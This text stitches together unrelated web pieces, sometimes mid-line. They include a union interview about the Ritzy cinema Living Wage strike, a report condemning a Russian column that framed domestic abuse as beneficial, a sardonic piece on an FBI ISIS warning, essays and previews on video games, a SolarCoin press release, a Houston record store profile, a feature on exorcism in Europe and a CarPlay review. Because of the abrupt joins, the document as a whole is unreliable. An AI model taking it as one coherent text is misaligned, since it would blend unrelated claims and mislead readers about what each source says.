Kelly: The Ritzy is by far the most politically engaged workplace I’ve worked in. I’ve worked in similar places, with young workers and in arty cinemas and theatres and there’s been nowhere near as much political engagement. That might be partly because it’s London but I think the primary thing is that there’s a history of strikes and so people are more switched on. The strike three years ago put people in touch with all kinds of organisations. The first time I met Ritzy workers was at a Reclaim Brixton protest, they were there with Living Wage flags and their t-shirts on. It’s definitely brought workers closer to the community. People have been going to anti-Trump demos, to anti-austerity demos, and feminist stuff. Quite a few people registered for the Labour leadership election, to vote for Corbyn, but their attitude is quite mixed, mainly because we have really quite bad experiences of Lambeth Labour council. I’ve faced some criticism for working with the Labour Party when, for instance, they’re closing down libraries.
More generally, I think we have a choice, as people who are organising the branch, do we focus on the campaign and keep it depoliticised and a stand-alone thing, in order to make people feel comfortable…
Kiv: But then some people get more engaged if you take the other side and make it more political…
Kelly: One thing I really regret is that we didn’t do more as a branch around the Brexit vote. We’re an active, relatively militant, organised workplace with a large number of migrant workers, so we should have been out campaigning, but we didn’t. But I think that’s down to people who are organising, to raise those arguments.
Kiv: I agree, but I also think it’s our job to represent members’ views and fight for their basic interests at work, and not let the politics overwhelm that.
Can you say more about your relationship with Lambeth Labour Party? [The Ritzy is in Brixton.]
Kelly: Recently we’ve been going to quite a lot of Labour ward meetings, and I went in all guns blazing, pointing out that the council has this deal where they’ve contributed £4 million to turning West Norwood library into a Picturehouse cinema library, which obviously they should not have done while we’re in dispute if at all, which I still believe very much, but actually since then Lambeth council is apparently going to pass a resolution and calling on Picturehouse to pay the Living Wage, and there’s been councillors mobilising their wards to come to picket lines. Obviously it’s relatively easy to state their support while continuing to do their deal with Picturehouse.
What they’ve done with the libraries obviously is unforgiveable… I occupied Carnegie library and that was massive, we had the biggest demonstration in Brixton in ten years, 3,000 people marching in support of the occupation. We have the absurdity of the council spending more on security to guard the library sites than they would on keeping them open, and the community is very angry that we’re losing some of the very few public spaces that we have left, where you can have warmth and company and the internet and books, and the council seems determined to do it regardless of everything…
Has the council got on board because there’s grassroots Labour support or is it the general force of your campaign or what?
Kelly: I think the Living Wage is something it’s easy to get on board with. And it’s too late for them to pull out of their West Norwood deal, so it’s not really effecting them in that respect. Lambeth Council is a Living Wage employer, the Labour Party does support the Living Wage, so I think they’d find it difficult not to support us, but I’m glad they are, because it adds pressure to Picturehouse, but again you see the difference between this and the libraries, where they called police on elderly women…
Kiv: There’s parallels too, the same way the council is paying loads of money so they can enforce their process, we have Picturehouse spending money on lawyers to bring legal action against us, and paying managers to fill the gaps on strike, they’re spending so much money in order to break the strike.
What support have you had from the wider labour movement?
Kiv: The support we’ve had from other trade unionists is astounding. In my year as a trade unionist I’ve already noticed that when people see your t-shirt, they know it’s the Ritzy campaign and you get an amazing response. People are always willing to show solidarity.
Kelly: The same is true of the Labour Party; it’s been great, because there’s been this small but significant surge of left-wing Labour members in Lambeth, which is why there’s people organising to get us invited to their ward meetings, and once we’re there we get the whole audience. The councillor might sit at the back looking a bit grumpy but then at the end they say yes, I’ll tweet in support. Vauxhall Momentum organised a fundraiser for us, there’s been bucket collections and I know Dulwich and West Norwood Labour Party is bringing their banner again on Saturday. I’ve been pleasantly surprised. We want the Labour Party to become the party of strikes, don’t we, so that is very important.
How about the leadership?
Kiv: We’re hoping Corbyn will come, maybe to the demo on the 25th, that’d be a good time to do it…
Kelly: The problem is everything is filtered through Corbyn’s office. Even when I saw Corbyn at a Momentum Christmas social in Lewisham, he’s surrounded by people trying to get them to sign their teddy bear, and I don’t know whether he actually reads the emails. I think the Picturehouse strikes are one of the most exciting things happening at the moment, because it’s growing so rapidly, because it’s a young and precarious workforce, because there are so many migrant workers, it’s not going to disappear and go away, I think it’s very exciting – it’s a shame if people in Corbyn’s office aren’t convinced of that. But we hope that will change. If Sadiq Khan who condemned the Tube strikes can write a letter, I’m sure John McDonnell and Jeremy Corbyn can support us. I think it would really help if they turned up to a picket line or a demo, and make everyone feel great and really galvanised.
• Demonstration on 25 February: meet 12 noon, outside the Empire in Leicester Square. Facebook event here
• Sign the TUC petition in support of the Picturehouse workers here
• Facebook groups: A Living Wage for Ritzy Staff – A Living Wage for Hackney Picturehouse Staff – A Living Wage for Crouch End Picturehouse Staff – A Living Wage for Picturehouse Central Staff
• More information, speakers etc: ritzylivingwage@gmail.com (they can put you in touch with the other cinemas)
Share this: Tweet“For years, women who have been smacked around by their husbands have found solace in the rather hypocritical proverb, ‘If he beats you, it means he loves you!’” columnist Yaroslav Korobatov argued in Komsomolkaya Pravda. “However, a new scientific study is giving women with irascible husbands new grounds to be proud of their bruises, insofar as women who are beaten, biologists confirm, have a valuable advantage: they’re more likely to give birth to boys!”
Russia is on the verge of decriminalizing several forms of domestic violence, despite the country’s enormously high rate of abuse against women. As federal lawmakers in Moscow march ahead with this controversial initiative, one of Russia’s most read newspapers, Komsomolskaya Pravda, published an article this Wednesday, citing research that supposedly suggests women with abusive partners stand a better chance of giving birth to sons — a “valuable advantage,” the newspaper claimed.
The article refers to research by the controversial evolutionary psychologist Satoshi Kanazawa, who’s been denounced by many in the field as a “bad scientist” and a “racist.” He is known for arguing that African countries suffer chronic poverty because of “low IQs,” and for claiming that black women are “objectively less attractive” than the women of other races.
In 2005, Kanazawa published an article claiming that “violent men have more sons,” and three years later he followed it up with a blog post for Psychology Today, arguing that “women may have been selected [evolutionarily] to tolerate a certain level of nonlethal violence in their mates,” in order to increase the odds of bearing sons.
In his piece for Komsomolskaya Pravda, Korobatov also cites the so-called “returning soldier phenomenon,” suggesting that men returning from combat in World War II ended up fathering more sons because they were “sex starved” and therefore pumped full of hormones when they had intercourse with their wives, once back home.During a discussion yesterday in Aspen with even-more-sycophantic-than-usual CNN anchor Wolf Blitzer, FBI Director James Comey somberly warned that ISIS now officially poses a bigger threat to the “U.S. homeland” than the one posed by former title-holder Al Qaeda — because, of course, the Latest Threat must always be the Greatest Threat. Comey also said that the previous bigger-than-Al-Qaeda contender, “The Khorasan Group,” has been “diminished” by “the work done by our great military” — because the War on Terror narrative requires that it must always be somehow simultaneously true that (1) the Terror Threat facing Americans is Greater Than Ever™ and (2) U.S. military actions against Terrorism are succeeding.
To commemorate this official FBI warning and to accompany the AP “news article” about Comey’s proclamation, NBC News posted a two-minute video, which.... well, which you have just have to see to believe. Watch it here: It’s very worth seeing.
Think about what happened here: To dramatize ISIS as The New Greatest Threat to the Homeland, FBI Director Comey first summoned the TV-actor-who-plays-the-journalist-character-called-Wolf-Blitzer to Aspen, and then NBC News posted to the top of its news article a slick, scary, music-and-graphic-driven video using all of Hollywood’s horror film staples to provide the visceral kick (that video has now been replaced on the NBC page with a video of this morning’s Matt Lauer/TODAY show “breaking news!” segment hyping Comey’s warning). I’m really grateful that because Americans have a free press, we’re not subject to state propaganda the way people in those bad, unfortunate countries are.I’m a comic geek much more than I ever will be a gamer. That should be abundantly clear to anyone who has ever read anything I have ever written anywhere. Subsequently, I tend to look at the gaming industry through comics colored glasses. Or more to the point, I happily conflate potentially unrelated issues that crop up in the world of comics that quite possibly no one ever cares about in relation to video games. Previously I have examined how games might evoke a more emotional reaction from the player through subtlety. I also considered the connection between gamers and the literacy impaired. Today, it’s all about escapist fantasy.
So… recently I was exposed to Bayonetta. I mean that mostly literally. The female protagonist of this pixilated flesh parade seems to exist for one primary reason. Sex. Now, I’m not saying sex is bad. By my experience, sex is pretty awesome. It ranks very highly on my top ten of most awesome things ever. Fortunately this article is not about sex. Because if it were, I might go on at length. To the point where anyone who continued reading might grow (more) uncomfortable.
Back to Bayonetta. Bayonetta on the surface seems to exist entirely as a sexual object. Something for sad and lonely people to look at and make complicated erotic Photoshop images of. And as much as I enjoy my secret hobby of making erotic Photoshop images, the over-sexualization of fictional characters for no reason beyond the obvious pornographic-like appeal is something worth questioning.
Anyone with any experience in the comics industry knows full well of the epic, war-like debates over the proper presentation of the female form. Witchblade. Lady Death. Fathom. That’s a few of the most extreme examples (though they are hardly the exception). Characters like the aforementioned have incited many comic fans of both genders to near blistering levels of rage, or… something that is decidedly not rage. Anyway, the arguments are about what you would expect. One side feels that women are being used as objects rather than as individuals. The other side feels that these characters should be sexy, and that being sexy doesn’t detract from the other, arguably more worthy aspects of said characters. A common rebuttal to this is that outside sexiness, the characters are often a cipher. That the female characters exist as a pair of walking T & A and not much else. So there goes the “worthy aspects” argument.
As I said, the arguments are fairly epic. And if you really want to pursue them they should be easy to find through a simple Google search. In fact, here’s a notable one.
Getting slowly back to the point: In video games we have watched an interesting evolution in the female form. From Ms. Pac-Man’s single curved form to Princess Peach’s ankle length skirt. I presume most everyone reading this will realize what a revelation Lara Croft was to young gamers. And frankly, if you have to ask why she resonated so strongly…
I’ve heard it argued that hyper-sexual female characters exist as a form of escapism and fantasy. Not just for men to lust after, but for women to “become”. I think that the choice many people make in avatars for customizable games speaks in favor of this argument. While one side may feel that super sexed characters are demoralizing, I rarely see anyone choose the sad dumpy characters (or the average, natural proportioned characters) when they can instead present a strong and exceptionally “beautiful” face to the world. Now, in a previous article I pointed out that I hold no degree in sociology. This hasn’t changed in the last month. Additionally, I hold no degree in psychology. However, it does not seem to be an outlandish suggestion that people enjoy escapism. And that when they choose to escape, they might just want to escape into a form that is strong and beautiful and even hyper-sexual.
This brings me to Bayonetta. A game I have not played and have very little room to comment on. It might be the best thing in the world. It might be garbage. It’s certainly highly sexual. But while the sexual aspects are almost impossible to ignore, what initially drew my attention wasn’t the clothes that were actually hair or the kiss based targeting system or any of the other blatant physical lures. No. What grabbed my attention was one thing. The glasses. It was the same thing that I noticed the first time I saw bespectacled MIT physics grad Gordon Freeman from Half-Life. And the two characters invoked the same reaction from me. Escapist-empowered nerd fantasy.
And there is nothing wrong with that.Share. New Life for Dead Rising New Life for Dead Rising
After several months of so-so looking footage featuring muted colors and a flagging framerate, I had begun to lose hope on Dead Rising 3. But by the five-minute mark of my two-hour play session, most of my doubts had melted, giving way to smiles, a few laughs, and my very first glimmers of anticipation for Capcom’s open-world zombie slaughterfest.
First things first: how’s the performance? Dead Rising 3 features massive packs of zombies roaming the ruined streets of an open world that’s reportedly larger than that of the first two games combined. In earlier builds, it didn’t look like the game engine could handle the stress, but the latest round of optimizing has all but completely eliminated the issue. Capcom is targeting 720P/30fps and at this point Dead Rising 3 is hitting that 90% of the time. The other 10% usually involved craziness like igniting and flattening hundreds of zombies at once with a steamroller-equipped, fire-spewing motorcycle – and in those cases I didn’t mind so much because of THE STEAMROLLER-EQUIPPED, FIRE-SPEWING MOTORCYCLE!
Exit Theatre Mode
The almost illegally fun rollerhawg is just one of around a dozen custom vehicles you can cobble together in Dead Rising 3. There’s a ton of ground to cover in Los Perdidos, so why not cover it in style and safety? Throw together a Junk Truck, fire ricocheting propane missiles into pockets of undead and watch zombie parts fill the air like fleshy confetti.
No wheels? No problem! The new super combo weapons can clear hordes of shambling brain-cravers with shocking efficiency. You build these suckers in stages by combining three or more weapons and the results do not disappoint. One of them had me swooping around with a dragon head on, spewing fire and cutting fools to ribbons with makeshift katana blade claws. If that sounds like too much fun though, you can always keep it low-key with computerized talking axes, or motorcycle engine-powered boxing gloves. Needless to say, you can put to rest any fears of Dead Rising 3 steering the franchise into darker, heavier waters.
The world and the crafting aren’t all that’ve expanded either. Our hero Nick Ramos can be leveled up and built out in far more different ways than his forebearers. In fact, there’s a few RPGs out there that have less customization than Dead RIsing 3 serves up. As you earn PP and level up you gain attribute points which can be spent on one of seven different stats or 22 different crafting categories. At certain milestones, new perks open up, further expanding your combat options. Of course, the sickest ones are locked away until level 50, but once you get there, you’ll become a nigh unstoppable zombie-slaying juggernaut.
Exit Theatre Mode
Which is the perfect time to try out the new nightmare difficulty. Since so many players took issue with the restrictive time element of Dead Rising 2, DR3 loosens it up considerably, giving players around double the time to work with as well as the ability to save anywhere through the pause menu to boot. Nightmare mode dials up the urgency with tighter time limits, tougher zombies, and a return to the limited “bathroom save” system of the first two games. It’s tough to tell how elegant of a solution this will wind up being from just a couple of hours or play time, but in theory, this could be a best of both worlds solution to one of the series’ most divisive issues.
Before, I was thinking of skipping Capcom Vancouver’s Xbox One launch title, but now I plan on making it a part of my launch on the 22nd. There’s obviously no way of knowing how it will pan out in the long run, but I saw more than enough positive in my time with it to wipe away the worries I once had.
For more on Dead Rising 3 throughout the week, be sure to stay tuned to IGN. Here’s what you missed from Day 1 and Day 2.
Vincent Ingenito is IGN's third newest recruit, and third biggest MOBA fan. He also doesn't suck at fighting games. To hear him nerd out about them and other games, follow him on Twitter.French Energy Supplier “ekWateur.fr” to accept SolarCoin as means of payment for Energy!
ekWateur is the first Energy Supplier in the world to accepting SolarCoins as a means of payment – France innovates
Paris, March 2nd, 2017 – ekWateur, the leading supplier for collaborative energy, continues to drive the French energy consumption market six months after its launch by offering three innovations today:
• ekWateur embraces blockchain technology by becoming the world’s first energy supplier to accept SolarCoins as a means of payment,
• ekWateur, already the only one in France to sell 100% renewable natural gas (bio-methane gas* ), goes one step ahead towards the Energy Transition with a special offer that democritizes the price of Biomethane by aligning it with the price of Conventional Natural Gas,
• ekWateur to offer its customers 100% renewable energy, both local and independent from any existin major energy company
“Since its inception, ekWateur wants to be a provider for change. By introducing SolarCoin as a payment method, aligning the price of bio-methane with that of natural gas and allowing customers to choose which power generation they finance, we continue to innovate in a sector that doesn’t actually have the habit to do so! “Julien Tchernia, President and Co-founder at ekWateur. “EkWateur is committed to supporting small-scale French producers of renewable electricity, the production of bio-methane gas in Europe and also decentralized solar electricity production all over the world. ”
Pay your energy bills in § SolarCoins
Now, for the first time globally, all ekWateur customers will be able to pay for their energy bills in § SolarCoins.
In summary :
A customer will be able to pay a solar power producer directly in § SolarCoins through ekWateur to get his energy at home. It is a direct link between producers and consumers
In detail :
§ SolarCoin is a digital currency based on a tangible element: solar-powered electricity. It is governed by the SolarCoin Foundation and was developed on the basis of blockchain technology to generate a complementary currency for solar power producers. Owners of solar installations registered within the SolarCoin network receive a § SolarCoin for each MegaWatt hour (MWh) of solar electricity produced. This complementary digital currency is a new source of revenue for solar power producers, which increases the profitability of their power stations, and ultimately aims to increase their number. EkWateur – which is committed to developing the decentralized power-generation model – is the world’s first supplier riding the wave of blockchain technology by accepting SolarCoins as a means of payment.
100% bio-methane gas at the price of natural gas
Thanks to ekWateur, it is now possible to consume bio-methane at the price of natural gas. While ekWateur guarantees 5% renewable gas (bio-methane) in all its Gas offers, an option also makes it now possible to consume 100% renewable gas (bio-methane), for an additional € 6.99 / MWh.
Guarantee of local and renewable origin
Electricity corresponds to a path of electrons in a network and it is not possible to know, by observing these electrons, their origin. That being said, everyone should be able to choose which producer he is giving his money to. This is what this new offer allows for. EkWateur customers can select the origin of their electricity via “premium” local warranties for an additional € 3.99 per MWh. The choice will soon be possible among several power plants, located in different regions in France.
* Bio-methane comes from the fermentation of agricultural products – while natural gas is fossil energy obtained by extraction.
About ekWateur:
ekWateur was created by Jonathan Martelli and Julien Tchernia in November 2015. After having jointly co-headed an alternative energy supplier in France, they had the idea to launch the first concept of collaborative energy supplier. With its supply licenses active since February 2016, ekWateur specifically targets the consumer market. ekWateur is an alternative to the dominant players in the French market – EDF and Engie – and offers 100% renewable electricity and natural gas. The commercial offer was launched on September 13th, 2016. More information at: https://ekwateur.fr
About SolarCoin
SolarCoin was developed with blockchain technology to generate an additional reward for solar power producers. Solar installation owners registered to the SolarCoin network receive a SolarCoin for each MWh of solar electricity that they produce.
This Digital Asset will allow solar electricity producers to receive an additional reward for their contribution to the energy transition, which will develop itself through network effect.
SolarCoin is the world’s largest community-based solar electricity reward program. Its alternative digital currency may be claimed by individuals with solar-powered homes or commercial solar electricity producers. The pr oject promotes the use of clean, environmentally sustainable energy, with the eventual goal of shifting the levelized cost of energy away from fossil fuels. The project is currently worth more than $6 billion.
The SolarCoin Foundation and related affiliates are acting in the field of Blockchain Technology and Digital Assets, with the following related internet sites and companies participating: solarcoin.org, solarchange.co, solcrypto.com, electricchain.org, and electraseed.com
The Mission of the SolarCoin Foundation is to help deliver more Solar Energy globally and initiate the Energy Transition.
Join the SolarCoin Foundation here on the following social media channels and forums:
Facebook:
LinkedIn:
Twitter:
Join the SolarCoin-Group Slack Channel here:
Join the ElectriCChain Slack Channel here:
Download your SolarCoin Wallet and visit the SolarCoin Foundation website here:
Welcome to the Internet of Energy with SolarCoin!It’s gone now, but for almost a century, 628 Montgomery Street was the center of the San Francisco art world. It was also the heart of the underground political world, the early LGBT community, SF’s first cheap-eats foodies, Gold Rush-era cocktail aficionados, ancient hipsters, seminal drag queens, and 49er-time indie magazines |
39 Caption Close Vinal Edge, one of Houston's favorite record stores, turns 30 years old this month 1 / 39 Back to Gallery
For three decades Vinal Edge record store has been a favorite of Houston metal and indie rock fans. This month the store turns 30 years old.
It spent nearly 27 years on Houston’s north side, nestled in a strip center off Veterans Memorial Drive, a far car ride for most Inner Loop music heads. It was common to hear collectors plan carpools out to the location, saving a Saturday or Sunday to rummage through boxes upon boxes of vinyl that owner Chuck Roast and his employees hadn’t yet priced.
There were always finds to be found and vinyl gold to be mined in those boxes. Roast boasts, to this day, one of the most varied inventories in the Houston area.
RELATED: Cactus Music, Houston's favorite music store, turns 40
The store moved into the Heights in 2012, opening up on 19th Street and adding a splash of punk rock culture to an area lined with boutiques and antique shops. The move was five years in the making with Roast waiting for just the right spot in Houston to open up and for the best price.
“We used to be a “destination” store. We moved closer to the bulk of our existing clientele, and the street opened us up to crucial 'walk-in' customers. The walk-ins tend to buy more, for lack of a better word, normal music,” Roast says.
This weekend the shop celebrates 30 years in business with a party on Saturday evening featuring three of the shop’s favorite local bands, with complimentary beer provided by the No Label brewery.
According to Roast the whole thing began in 1985, an outgrowth of him DJing the infamous “Funhouse” radio shows on KPFT-FM, beaming punk rock and hardcore onto the airwaves. They were one of the few punk shows of its kind in the country at the time.
“It was immensely popular worldwide, in a cult way. The radio show led me to booking punk shows for bands coming through town. I did this at Lawndale Art Annex, Cabaret Voltaire, Consolidated Arts Warehouse, and some noise shows at Commerce Street Artists Warehouse,” Roast says.
RELATED: How to spend 12 hours in Houston (specifically inside Loop 610)
In those days it wasn’t easy to find music from the Dead Kennedys and others on the shelves in Houston.
“As few stores even carried any punk records aside from the major label acts like the Sex Pistols and the Ramones I decided to sell records and punk 'zines on a table or out of my van at shows,” Roast says.
As his inventory began to take over his home his wife Lynda made a fateful suggestion.
“My wife Lynda said the sweet words 'Why don’t you open up a record store?' so I jumped at it,” Roast says. Three decades later he and Lynda are still the proud and frazzled owners of Vinal Edge.
Area record collectors love the shop for the diversity of its inventory, Houston music fan and blogger Jack Betz said.
“I always run into artists and bands I've never heard of before, which lead me into some really interesting discoveries,” Betz says. His latest discovery was a DVD of jazz oddity Sun Ra’s last few performances before he died.
Matthew Toomey owns the Boomtown Coffee shop directly across the street from Vinal Edge on 19th Street. An avid collector himself, he was very excited to see Roast and his team move into the area.
“I remember before they were across the street. The area lacked a certain coolness appeal. They brought the edge the block needed. We couldn't think of a more rad neighbor to have,” Toomey says.
Roast says that the early focus of Vinal Edge was always underground music and he has always gone the extra mile to chase down records from all over the world. Vinal Edge has a robust online and mail order following too for out-of-town collectors. They were one of the first stores of its kind to sell records on the web.
The move into the Heights also meant that some of the store’s top-selling artists also changed.
“At the old location it was all about the Butthole Surfers and the Flaming Lips that sold in quantity,” Roast says, “At the new location the things that sell the most are Artic Monkeys, Fleetwood Mac, Beach House, Sigur Ros, and the Really Red re-issues.”
(Really Red holds the distinction of being one of Houston’s first punk bands in the late ‘70s.)
“It’s the avant-garde, rare and obscure jazz or rock records that make us truly unique,” Roast says.
Vinal Edge was one of the biggest beneficiaries of the recent vinyl music boom in pop-culture. With teenagers now raiding their parent’s record collections and buying turntables of their own, Vinal Edge is gaining new customers.
“Over the years we have constantly pushed vinyl even in the lean CD years when many stores no longer carried vinyl. I feel the strategy has paid off as I would put our selection of records up against any stores in the US,” Roast says.
Like almost every other independent record store in the world, they also participate in April's annual Record Store Day. Like Cactus Music in the Montrose area, Vinal Edge sees long lines of people looking for limited edition releases every third Saturday in April.
RELATED: Hundreds support local shops on Record Store Day
Former employee Sam Ackerman worked at the store from 2006 until 2013 and remembers the days before the vinyl boom.
“Once the boom started to become apparent, business really picked up. Our typical clients became teenage hipsters, their square, nostalgic parents, and, of course, the in-town record collectors and music nerds,” Ackerman says.
Ackerman adds that the more colorful record collectors weren’t seen much anymore after the move.
“The old store was a freaks-only zone. No normal people shopped there. I could rattle off so many legendary names,” Ackerman jokes, rattling off some names that can’t be repeated here.
Current employee Charlie Bryan has worked at the store for about two years.
“Working here has expanded my mind and exposed me to things I would have never discovered without it. I have met people and have been connected with an awesome group of creative folks,” Bryan says. A big moment for him was seeing Indian Jewelry perform in the store last year.
We have many dedicated customers, some who come in every single day, some that come in once a week and some who come in at least a few times a month,” Bryan says.
Getting to be a Vinal Edge employee isn’t as easy as knowing who GG Allin was or being able to rattle off inane Merzbow facts.
Roast’s application process for potential employees is one that is talked about in reverent tones in the local indie scene. Not everyone survives it.
He pulls a stack of records and other items from around the store and has the applicant assess the wares. They are to tell Roast everything that they can ascertain by looking at each piece. Roast says he maintains a poker face during the process. He stays silent.
“While I am paying attention to what they know, I am really seeing how they handle the situation, and noticing their ability to figure things out that they do not know,” Roast says. Most employees begin to shake during the test, which Roast thinks is endearing.
Those that pass his test can become Vinal Edge employees and impart knowledge to customers daily.
Roast is excited for what the next decades have in store for Vinal Edge. They’ve settled into the Heights ecosystem and can’t imagine ever leaving.
“The neighborhood is so kind to us. Our neighborhood shopkeepers are like family,” Roast says. “I think most people can see how passionate we are about what we do.”Exorcism making comeback in Europe As more people are plagued by evil, priests say, the need grows to battle demons
This wind-swept village is bracing for an invasion of demons, thanks to a priest who believes he can defeat Satan.
The Rev. Andrzej Trojanowski, a soft-spoken Pole, plans to build a "spiritual oasis" that will serve as Europe's only center dedicated to performing exorcisms. With the blessing of the local Catholic archbishop and theological support from the Vatican, the center will aid a growing number of Poles possessed by evil forces or the devil himself, he said.
"This is my task, this is my purpose - I want to help these people," said Trojanowski, who has worked as an exorcist for four years. "There is a group of people who cannot get relief through any other practices and who need peace."
Exorcism - the church rite of expelling evil spirits from tortured souls - is making a comeback in Catholic regions of Europe. In July, more than 300 practitioners gathered in the Polish city of Czestochowa for the fourth International Congress of Exorcists.
About 70 priests serve as trained exorcists in Poland, about double the number of five years ago. An estimated 300 exorcists are active in Italy. Foremost among them: the Rev. Gabriele Amorth, 82, who performs exorcisms daily in Rome and is dean of Europe's corps of demon-battling priests.
"People don't pray anymore, they don't go to church, they don't go to confession. The devil has an easy time of it," Amorth said in an interview. "There's a lot more devil worship, people interested in satanic things and seances, and less in Jesus."
Amorth and other priests said the resurgence in exorcisms has been encouraged by the Vatican, which in 1999 formally revised and upheld the rite for the first time in almost 400 years.
Although a Vatican official denied reports in December of a campaign to train more exorcists, supporters said informal efforts began under Pope John Paul II - himself an occasional demon chaser - and have accelerated under Pope Benedict XVI. A Catholic university in Rome began offering courses in exorcism in 2005 and has drawn students from around the globe.
One of the recruits is the Rev. Wieslaw Jankowski, a priest with the Institute for Studies on the Family, a counseling center outside Warsaw. He said priests at the institute realized they needed an exorcist on staff after encountering an increase in people plagued by evil.
Typical cases, he said, include people who turn away from the church and embrace New Age therapies, alternative religions or the occult. Internet addicts and yoga devotees are also at risk, he said.
"This is a service which is sorely needed," said Jankowski, who holds a doctorate in spiritual theology. "The number of people who need help is intensifying right now."
Jankowski cited the case of a woman who asked for a divorce days after renewing her wedding vows as part of a marriage counseling program. What was suspicious, he said, was how the wife suddenly developed a passionate hatred for her husband.
"According to what I could perceive, the devil was present and acting in an obvious way," he said. "How else can you explain how a wife, in the space of a couple of weeks, could come to hate her own husband, a man who is a good person?"
Jankowski said that an archbishop granted him the authority in October to perform exorcisms and that he's been busy ever since. As for the afflicted wife? "We're still working with her," he said.
Exorcisms remain a touchy subject even among priests who perform them, aware that the rite is associated with medieval witch-burnings and the 1973 Hollywood horror film "The Exorcist."
More recent horror stories have also taken their toll. In Germany, memories are still fresh of a 23-year-old Bavarian woman who died of starvation in 1976 after two priests - thinking she was possessed - subjected her to more than 60 exorcisms. In 2002, a German bishop resigned after a woman accused him of sexually abusing her during an exorcism.
Exorcists said they are careful not to treat people suffering from mental illness, and that they regularly consult with psychologists and physicians. At the same time, they said, conventional medical therapy often neglects spiritual ailments.
"My remedy is based on spiritual means, which cannot be replaced by any pharmaceutical remedies," said Trojanowski, the priest who is overseeing plans for the new exorcism center. "I do not stop at the level of just treating symptoms. I'm very much interested in the soul of a person. As a priest, I keep asking questions a doctor will never ask."More than twelve months ago at the 2013 Worldwide Developers conference in San Francisco, Apple announced “CarPlay”, a product to take the Apple iOS experience to the car in more than just voice control but a full touch-screen experience. Today Pioneer announced a software upgrade for some existing units to enable CarPlay – and EFTM has CarPlay installed on our trusty Mazda 2.
Signalled by some as the next frontier in the battle between Google and Apple for smartphone dominance, the in-car entertainment system has undergone radical changes in recent years. Modern cars are equipped as standard these days with Bluetooth hands-free which also enables streaming of your own music to the car stereo and in some cases such as General Motors Holden’s MyLink and others there has been functionality to allow integration with smartphones.
MyLink along with Ford’s Sync have allowed smartphones to interact with the car-stereo and often act as a second screen to the phone. CarPlay is a similar thing, but as with almost everything Apple seems to do – it’s done just that bit better to make it the right experience.
With over 20 manufacturers slated to begin installing CarPlay in at least some of their vehicles it’s a product you’re going to hear a lot more about.
In a brand new car, it will operate in much the same way as MyLink does today in Holdens. As standard the car stereo looks and performs the same. But when an iPhone is plugged in the interface switches to a very Apple look – this is CarPlay.
If you’re like me and have an older car, and aren’t likely to be getting a new one soon – especially one with CarPlay (as of today there are none available in Australia), then Pioneer has you covered.
The EFTM car is a 2010 Mazda 2 – it’s a great car, gets the job done in comfort. But without hands-free or anything sophisticated in the stereo, it was clear the one thing that needed an upgrade was that centre console.
With the help of a made-to-fit face-plate for the stereo, a new Pioneer double-DIN touch-screen stereo was installed, and if you didn’t know better, you’d be forgiven for thinking it was a factory fit.
We installed a AVH-X8650BT model Pioneer unit, this was foreshadowed as a unit that would receive CarPlay functionality via a firmware upgrade once it was available – and that day is today.
A powerful stereo on its own, the AVH-X8650BT has dual USB inputs, Bluetooth streaming, a touch-screen interface and frankly everything I could want from the centre console – except navigation.
With CarPlay the unit is transformed, and now has maps, apps and can take care of all my messaging while I drive.
Navigation
Probably the best and most valuable feature of CarPlay is it’s ability to bring to your car a full navigation system – especially for cars that didn’t even have the option, while for those manufacturers charging thousands for in-car navigation, it’s going to be a tough sell if you’ve also got CarPlay.
Maps are familiar, as they are Apple Maps shown on a bigger screen, and there’s some smarts in there too.
Once you’ve completed a journey, it will even suggest a return route to where you had just come from.
There are zoom controls, as well as 2 and 3D modes. Moving around the map is a manual “button” based process, with no pinch and zoom or drag to move the map (on the Pioneer unit we have).
When navigating, the directions are shown on your iPhone turn by turn, while the CarPlay shows the map and other guidance. It really can be a two screen experience if you choose to keep your phone mounted on the dash in-view.
Phone
As part of the “Hands Free” push, the Phone application is sensational. Press PHONE and there is no menu, just a prompt from Siri “who would you like to call”.
You can press the Show Contacts button to jump into a familiar menu with “Favourites”, “Recents”, “Contacts”, “KeyPad” and even “Voicemail”.
Visual voicemail works a treat, just like on your phone, and the key to your contacts is they are stored on your phone, not being copied across to the head-unit as would be the case with Bluetooth.
Once you setup your favourites and contacts for a streamlined Siri experience you won’t be reaching for your phone ever again.
Music
Your entire phone library or iTunes radio stations are available on Apple CarPlay. It’s a very familiar interface with “Radio”, “Playlists”, “Songs”, “Artists” etc across the top, as well as “Now Playing”.
When you’re in a playlist or music list – just like on your iPhone you can pull the list down to show the “Shuffle” command, while on the Pioneer I’m using I have full touchscreen scroll control of the list.
Podcasts
Just like Music, the Podcast app draws on your iPhone library and displays the cover art in a small way in the background of the screen while showing it in full on your iPhone, with text on the CarPlay screen showing normal podcast controls (Back and forward 15 seconds, Pause, as well as timer counting up and down)
Messages
As a message is received on your phone (SMS or iMessage) a notification appears at the top of the screen, just like on your phone.
Press that and the message is read out to you by Siri within CarPlay.
You can then reply by voice command or go back to what you were doing.
Importantly, at no point is the actual text of any message shown on your screen.
Safety
There’s no doubt in my mind that this system is a huge leap forward in safety. While in the installation I have – I still need to press the screen for functions as I have no steering wheel controls, I’m not tempted to look at my phone for messages – CarPlay via Siri will read them out to me when I press them.
Mapping is clear and easy to use and should give you a great run to wherever you’re going and given Apple’s normal strict approval process, don’t expect just any apps to appear here – they’ll have to pass even deeper certification processes to ensure they aren’t displaying text or video on the screen that would distract the driver
Screenshots
If you’re wondering how I got all the screenshots above, when you use the iPhone screenshot function (Power and Home pressed together) – with CarPlay connected you get two screenshots in one – both the phone and CarPlay screens are captured and saved to your iPhone.
Who can get it – and how much?
Almost any car can be upgraded. Even if it doesn’t look like your stereo can be removed (like the old days), it’s likely a dash-kit can be found to suit. The main thing that excludes you from a system upgrade like this is a car which has controls for things outside the entertainment system included in that centre-console unit. For example, my 2011 Holden Commodore has air-conditioning and other climate controls in the touch-screen system. Removing that would have meant some heating and cooling issues.
The AVH-X8650BT has an RR of $1,149, a dash-kit to make it look like a natural factory installation will set you back between $50 and $500 (for the Mazda 2 it was $179), if you have steering wheel controls for the stereo there’s another $30-$300 there, and installation of it all will range from $150-$200.
Pioneer has three head-units that are CarPlay compatible: AVIC-F60DAB, AVIC-F960DAB and AVH-X8650BT. If you own one of those, it’s a simple download and firmware upgrade. New units of those three models, sold from December will come pre-installed with CarPlay.
CarPlay is a revolution in in-car entertainment. While many of the features have been available for some time on other cars, the genuine integration with your smartphone and capabilities that have been added make it well worth considering if you’re an Apple iPhone user who spends a great deal of time in your car.
If you’re shopping for a new car – ask the dealer – is CarPlay available? and if no – will it be available via a firmware upgrade in the future?
